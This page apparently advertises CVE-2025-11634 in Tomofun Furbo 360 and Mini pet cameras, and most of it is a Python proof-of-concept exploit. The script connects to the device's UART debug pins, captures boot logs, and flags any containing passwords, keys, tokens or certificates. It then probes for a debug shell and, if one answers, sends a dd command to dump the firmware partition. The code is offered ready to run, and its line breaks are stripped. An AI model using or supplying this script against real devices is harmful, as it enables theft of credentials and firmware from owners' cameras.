CVE-2025-11634：Tomofun Furbo 360/Mini UART接口信息泄露漏洞

# CVE-2025-11634 PoC - UART Interface Information Disclosure # Target: Tomofun Furbo 360 (FB0035_FW_036 and below) # Target: Tomofun Furbo Mini (MC0020_FW_074 and below) import serial import time # Step 1: Connect to UART interface via USB-to-Serial adapter # Hardware: FTDI FT232R, CP2102, or CH340 USB-to-UART bridge # Pinout: Connect TX->RX, RX->TX, GND->GND on device's debug pins def exploit_uart_info_disclosure(port='/dev/ttyUSB0', baudrate=115200): """ Exploit UART interface to extract sensitive information from Furbo 360 / Furbo Mini devices. """ try: # Open serial connection to UART interface ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=5 ) print(f"[*] Connected to UART on {port} at {baudrate} baud") # Step 2: Trigger device reboot or interrupt to capture boot logs # Power cycle the device or send break signal ser.send_break() time.sleep(2) # Step 3: Capture boot logs and debug output print("[*] Capturing boot logs...") boot_logs = "" start_time = time.time() while time.time() - start_time < 30: if ser.in_waiting > 0: data = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') boot_logs += data # Look for sensitive information patterns if any(keyword in data for keyword in ['password', 'key', 'secret', 'token', 'cert']): print(f"[!] Sensitive data found: {data}") # Step 4: Try to access shell or dump firmware print("[*] Attempting to access debug shell...") ser.write(b'\n') time.sleep(1) ser.write(b'help\n') time.sleep(1) response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') print(f"[*] Shell response: {response}") # Step 5: Dump firmware if shell access is available if '#' in response or '$' in response: print("[*] Shell access obtained, dumping firmware...") ser.write(b'dd if=/dev/mtd0 of=/tmp/firmware_dump.bin\n') time.sleep(10) ser.close() return boot_logs except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return None if __name__ == "__main__": # Usage: python exploit.py --port /dev/ttyUSB0 --baud 115200 import argparse parser = argparse.ArgumentParser(description='CVE-2025-11634 UART Info Disclosure PoC') parser.add_argument('--port', default='/dev/ttyUSB0', help='Serial port') parser.add_argument('--baud', type=int, default=115200, help='Baud rate') args = parser.parse_args() result = exploit_uart_info_disclosure(args.port, args.baud) if result: print(f"[*] Captured {len(result)} bytes of data")